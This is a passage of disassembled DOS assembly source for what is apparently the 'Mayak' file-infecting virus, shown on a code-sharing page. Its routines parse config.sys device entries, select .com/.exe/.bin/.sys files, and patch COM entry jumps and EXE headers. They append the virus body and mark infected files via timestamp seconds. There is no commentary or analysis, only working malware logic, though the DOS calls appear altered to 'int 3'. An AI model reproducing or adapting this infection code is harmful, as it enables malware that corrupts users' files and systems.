📄 mayak.asm
字号:
loc_41:
loop locloop_40 ; Loop if cx > 0
pop cx
pop di
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
push si
dec di
push di
lea di,[si+4FEh] ; Load effective addr
pop si
mov cx,6
locloop_42:
lodsb ; String [si] to al
or al,20h ; ' '
scasb ; Scan es:[di] for al
loopz locloop_42 ; Loop if zf=1, cx>0
mov di,si
pop si
jnz loc_38 ; Jump if not zero
mov cx,28h
mov al,20h ; ' '
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
cmp byte ptr [di-1],3Dh ; '='
jne loc_38 ; Jump if not equal
repe scasb ; Rep zf=1+cx >0 Scan es:[di] for al
dec di
mov dx,di
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
mov byte ptr [di-1],0
push bx
call sub_11
jz loc_44 ; Jump if zero
mov di,dx
cmp byte ptr [di],5Ch ; '\'
je loc_43 ; Jump if equal
dec di
mov byte ptr [di],5Ch ; '\'
loc_43:
dec di
dec di
mov word ptr [di],3A63h
mov dx,di
loc_44:
mov ax,3D02h
int 3 ; Debug breakpoint
jc loc_45 ; Jump if carry Set
mov bx,ax
mov ax,402h
call sub_20
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
loc_45:
pop bx
jmp loc_38
loc_46:
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
retn
sub_8 endp
db 'c:\config.sys'
db 00h, 64h, 65h, 76h, 69h, 63h
db 65h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_10 proc near
sub cx,7BCh
dec dx
dec dh
mov al,1Fh
mul dh ; ax = reg * al
xor dh,dh ; Zero register
add dx,ax
push dx
mov ax,16Eh
mul cx ; dx:ax = reg * ax
pop dx
add ax,dx
retn
sub_10 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_11 proc near
mov di,dx
mov cx,0FFFFh
xor al,al ; Zero register
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
neg cx
dec cx
dec di
dec di
mov bx,di
mov di,dx
mov al,3Ah ; ':'
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
retn
sub_11 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_12 proc near
cld ; Clear direction
push bx
push si
push ds
pop es
call sub_11
jnz loc_48 ; Jump if not zero
mov al,[di-2]
or al,20h ; ' '
sub al,61h ; 'a'
jmp short loc_49
loc_48:
mov ah,19h
int 3 ; Debug breakpoint
loc_49:
std ; Set direction flag
push cs
pop es
lea di,[si+584h] ; Load effective addr
mov si,bx
mov bl,al
mov ah,4
loc_50:
mov cx,4
push di
push si
locloop_51:
lodsb ; String [si] to al
or al,20h ; ' '
scasb ; Scan es:[di] for al
loopz locloop_51 ; Loop if zf=1, cx>0
pop si
pop di
jz loc_53 ; Jump if zero
sub di,4
dec ah
jz loc_53 ; Jump if zero
jmp short loc_50
loc_53:
cld ; Clear direction
mov al,bl
pop si
pop bx
retn
sub_12 endp
db '.com.exe.bin.sys'
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_13 proc near
mov ax,4200h
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
retn
sub_13 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_14 proc near
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 3 ; Debug breakpoint
retn
sub_14 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_15 proc near
push ax
and ah,ah
jz loc_56 ; Jump if zero
xor dx,dx ; Zero register
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,6
int 3 ; Debug breakpoint
cmp ax,6
jne loc_56 ; Jump if not equal
pop ax
push ax
cmp ah,2
jb loc_55 ; Jump if below
jnz loc_54 ; Jump if not zero
cmp word ptr ds:[91Eh][si],5A4Dh
jne loc_56 ; Jump if not equal
jmp short loc_55
loc_54:
cmp word ptr ds:[91Eh][si],0FFFFh
jne loc_56 ; Jump if not equal
cmp word ptr ds:[920h][si],0FFFFh
jne loc_56 ; Jump if not equal
loc_55:
pop ax
stc ; Set carry flag
retn
loc_56:
pop ax
clc ; Clear carry flag
retn
sub_15 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_16 proc near
push ax
mov ax,5700h
int 3 ; Debug breakpoint
mov word ptr ds:[93Fh][si],cx
mov word ptr ds:[941h][si],dx
and cx,1Fh
cmp cx,1Fh
pop ax
retn
sub_16 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_17 proc near
call sub_14
mov ah,40h ; '@'
mov dx,si
mov cx,923h
int 3 ; Debug breakpoint
retn
sub_17 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_18 proc near
call sub_14
add ax,1FFh
adc dx,0
mov al,ah
mov ah,dl
shr ax,1 ; Shift w/zeros fill
mov word ptr ds:[91Eh][si],ax
mov dx,4
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
retn
sub_18 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_19 proc near
push es
push bx
xor bx,bx ; Zero register
mov ds,bx
les bx,dword ptr ds:data_6e ; Load 32 bit ptr
mov word ptr cs:[937h][si],bx
mov word ptr cs:[939h][si],es
lea bx,[si+41Dh] ; Load effective addr
mov ds:data_6e,bx
mov word ptr ds:data_6e+2,cs
push ds
push cs
push cs
pop ds
pop es
push ax
cld ; Clear direction
lea dx,[si+970h] ; Load effective addr
mov di,dx
add al,61h ; 'a'
mov ah,3Ah ; ':'
stosw ; Store ax to es:[di]
mov word ptr [di],5Ch
mov ah,5Ah ; 'Z'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jc loc_59 ; Jump if carry Set
mov bx,ax
mov ah,3Eh ; '>'
int 3 ; Debug breakpoint
jc loc_59 ; Jump if carry Set
mov ah,41h ; 'A'
int 3 ; Debug breakpoint
loc_59:
pop ax
pop ds
les bx,dword ptr cs:[937h][si] ; Load 32 bit ptr
mov ds:data_6e,bx
mov word ptr ds:data_6e+2,es
push cs
pop ds
pop bx
pop es
retn
sub_19 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_20 proc near
push cs
push cs
pop ds
pop es
call sub_15
jc loc_60 ; Jump if carry Set
jmp loc_69
loc_60:
call sub_16
jnz loc_61 ; Jump if not zero
jmp loc_69
loc_61:
call sub_19
jnc loc_62 ; Jump if carry=0
jmp loc_69
loc_62:
cmp ah,1
je loc_65 ; Jump if equal
cmp ah,2
jne loc_63 ; Jump if not equal
jmp loc_67
loc_63:
mov ah,3Fh ; '?'
lea dx,[si+42h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov ah,3Fh ; '?'
lea dx,[si+60h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
call sub_14
cmp ax,0F000h
jbe loc_64 ; Jump if below or =
jmp loc_69
loc_64:
mov word ptr ds:[925h][si],ax
mov dx,6
call sub_13
mov ah,40h ; '@'
lea dx,[si+925h] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,40h ; '@'
lea dx,[si+919h] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
call sub_17
jmp loc_68
loc_65:
call sub_14
cmp ax,0F000h
jbe loc_66 ; Jump if below or =
jmp loc_69
loc_66:
add ax,123h
mov word ptr ds:[925h][si],ax
xor dx,dx ; Zero register
call sub_13
mov byte ptr ds:[924h][si],0E9h
mov ah,40h ; '@'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
call sub_17
jmp short loc_68
loc_67:
mov dx,4
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,6
int 3 ; Debug breakpoint
call sub_14
add ax,1FFh
adc dx,0
shr dx,1 ; Shift w/zeros fill
rcr ax,1 ; Rotate thru carry
mov al,ah
mov ah,dl
cmp ax,word ptr ds:[91Eh][si]
jne loc_69 ; Jump if not equal
mov dx,14h
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+122h] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
call sub_14
mov di,word ptr ds:[922h][si]
mov cl,4
shl di,cl ; Shift w/zeros fill
sub ax,di
sbb dx,0
add ax,0FEh
adc dx,0
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
mov word ptr ds:[91Eh][si],ax
mov word ptr ds:[920h][si],dx
mov dx,14h
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
call sub_17
call sub_18
loc_68:
mov ax,5701h
mov cx,word ptr ds:[93Fh][si]
mov dx,word ptr ds:[941h][si]
or cx,1Fh
int 3 ; Debug breakpoint
loc_69:
xor dx,dx ; Zero register
call sub_13
retn
sub_20 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_21 proc near
push cs
push cs
pop ds
pop es
call sub_15
jc loc_70 ; Jump if carry Set
jmp loc_79
loc_70:
call sub_16
jz loc_71 ; Jump if zero
jmp loc_79
loc_71:
call sub_19
jnc loc_72 ; Jump if carry=0
jmp loc_79
loc_72:
cmp ah,1
je loc_74 ; Jump if equal
cmp ah,2
jne loc_73 ; Jump if not equal
jmp loc_76
loc_73:
mov ah,3Fh ; '?'
lea dx,[si+42h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+42h]
add dx,42h
nop ;*ASM fixup - sign extn byte
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,6
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+42h]
add dx,91Eh
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
mov dx,8
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+60h] ; Load effective addr
nop ;*ASM fixup - displacement
mov cx,2
int 3 ; Debug breakpoint
mov dx,[si+60h]
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,5
int 3 ; Debug breakpoint
mov dx,[si+42h]
call sub_13
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jmp loc_78
loc_74:
cmp byte ptr ds:[91Eh][si],0E9h
je loc_75 ; Jump if equal
jmp loc_79
loc_75:
sub word ptr ds:[91Fh][si],123h
mov dx,word ptr ds:[91Fh][si]
add dx,91Eh
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
xor dx,dx ; Zero register
call sub_13
mov ah,40h ; '@'
lea dx,[si+924h] ; Load effective addr
mov cx,3
int 3 ; Debug breakpoint
mov dx,word ptr ds:[91Fh][si]
call sub_13
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
jmp short loc_78
loc_76:
mov dx,8
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,2
int 3 ; Debug breakpoint
mov dx,14h
call sub_13
mov ah,3Fh ; '?'
lea dx,[si+122h] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov cl,0Ch
shr word ptr ds:[124h][si],cl ; Shift w/zeros fill
mov ax,word ptr ds:[91Eh][si]
mov cl,4
shl ax,cl ; Shift w/zeros fill
sub ax,0FEh
cwd ; Word to double word
add word ptr ds:[122h][si],ax
adc word ptr ds:[124h][si],dx
mov ax,4200h
mov dx,word ptr ds:[122h][si]
mov cx,word ptr ds:[124h][si]
add dx,122h
adc cx,0
int 3 ; Debug breakpoint
mov ah,3Fh ; '?'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov dx,14h
call sub_13
mov ah,40h ; '@'
lea dx,[si+91Eh] ; Load effective addr
mov cx,4
int 3 ; Debug breakpoint
mov ax,4200h
mov dx,word ptr ds:[122h][si]
mov cx,word ptr ds:[124h][si]
int 3 ; Debug breakpoint
mov ah,40h ; '@'
xor cx,cx ; Zero register
int 3 ; Debug breakpoint
call sub_18
loc_78:
mov ax,5701h
mov cx,word ptr ds:[93Fh][si]
mov dx,word ptr ds:[941h][si]
and cx,0FFE0h
int 3 ; Debug breakpoint
loc_79:
xor dx,dx ; Zero register
call sub_13
retn
sub_21 endp
db 26h, 11h,0EAh, 4Ah, 00h, 00h
db 70h,0B0h,0F3h,0E6h, 60h,0B9h
db 1Ah, 1Ah
db 716 dup (1Ah)
seg_a ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -